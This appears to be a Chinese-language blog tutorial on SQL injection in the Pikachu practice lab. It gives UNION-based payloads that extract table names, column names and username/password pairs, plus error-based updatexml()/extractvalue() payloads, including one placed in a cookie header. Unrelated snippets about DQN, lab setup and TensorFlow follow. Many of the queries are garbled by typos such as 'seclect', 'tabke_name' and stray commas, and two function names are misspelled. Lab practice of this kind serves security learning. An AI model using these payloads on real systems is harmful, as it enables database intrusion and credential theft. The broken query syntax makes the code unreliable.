一 information_schema資料庫:中含有多個表,重點以下兩個
1.tables表:用於儲存table_schema,將整個資料庫的所有例項的表的相關資訊都放在這裡;把錶對應的相應資料庫的名稱,表的型別,預設額引擎,版本等資訊儲存在tables表裡;
2.columns表:用於儲存相關的列,資料庫的表的例項的名稱,對應的表名,列名。
二 獲取表名:(首先用use pikachu命令切換至皮卡丘資料庫中執行獲取操作)
select id,email from member where username=『kobe』 union select進一步獲取information_schema中的資訊需要:table_schema,table_name from information_schema,tables where
table_schema=』pikachu』;
獲取當前資料庫的名稱
(kobe』union seclect database(),user()#)
->通過information_schema獲取資料
(test payload:kobe』union seclect table_schema,tabke_name,from information_schema,tables where table_schema=』pikachu』# )
->獲取欄位名
select id,email from member where username=『kobe』 union selecttable_schema,table_name from information_schema,columns where
table_name=』users』;
`test payload:(kobe』union seclect table_name,column_name,from information_schema,columns where table_name=』user』# )`
->獲取內容
elect id,email from member where username=『kobe』 union selectusername,password from users;
test payload:(kobe』union seclect username,password from users# )
一 常用的報錯函式(updatexm()、extratvalue()、floor())
**updatexm():**函式是mysql對xml文件資料進行查詢和修改的xpath函式。
**extratvalue():**也是mysql對xml文件資料進行查詢xpath函式。
floor():mysql中用來取整的函式。
二 基於函式報錯的資訊獲取(select/insert/update/delete)
技巧思路:
在mysql中使用一些指定的函式來製造報錯,從而從報錯資訊中獲取設定的資訊。
select/insert/update/delete都可以使用報錯來獲取資訊。
背景條件:
後台沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸入在前端。
三 常用的報錯函式–updatexm()
updatexm()函式作用:改變(查詢並替換)xml文件中符合條件的節點的值。
語法:updatexml(xml_document//文件名稱,xpathstring//指定文件中位置,new_value//新的值)
約束:xpath定位必須是有效地,否則則會發生錯誤。
四 常用的報錯函式–extratvalue()
extratvalue()函式作用:從目標xml中返回包含所查詢的字串。
語法extractvalue(xml_document//文件名稱,xpath_string//指定文件中位置)
約束:xpath定位必須是有效地,否則則會發生錯誤。
後台開發人員為了驗證客戶端頭資訊(比如常用的cookie驗證)或者通過http header頭資訊獲取客戶端的一些資訊。
會對客戶端的http header資訊進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql inject漏洞
基於http header:
cookie:ant[uname]=admin』 and updatexml(1,concat(0x7e,database()),0)#firefox』 or updatexml(1,concat(0x7e,database()),0) or 『
DQN從入門到放棄學習總結(2)
每個狀態對應多種動作,我們考率在某個狀態下執行不同動作所獲得的價值,通過其大小,便可選擇價值最大的來執行。action value function 動作 價值函式表示如下 此處包含策略,即在策略下的動作價值。因為對於每乙個動作,都需要由策略根據當前的狀態生成。但價值函式不一定依賴於策略。但因為動作...
Web安全從入門到「放棄」之pikachu環境部署
1.首先進行本地伺服器的搭建 先到官方 安裝xampp 安裝完後的軟體介面 如果開啟apache和mysql顯示錯誤的話,可以開啟日誌檢視錯誤資訊,點選logs開啟error.log日誌檢視。很大情況是埠錯誤,這時候可以修改埠,關於這個問題,網上有很多教程,這裡就不講解了 解壓pikachu.zip...
深度學習 TensorFlow 「從入門到放棄」
想跟一下深度學習的浪潮,所以在網上購買了兩本深度學習的框架書,一本是 tensorflow 另外一本是 caffe 因為剛剛看完了python的基礎語法,caffe書上的例項 是用的c 所以先讀了tensorflow這本書。tensorflow在pycharm中的配置還是比較簡單的,使用pip in...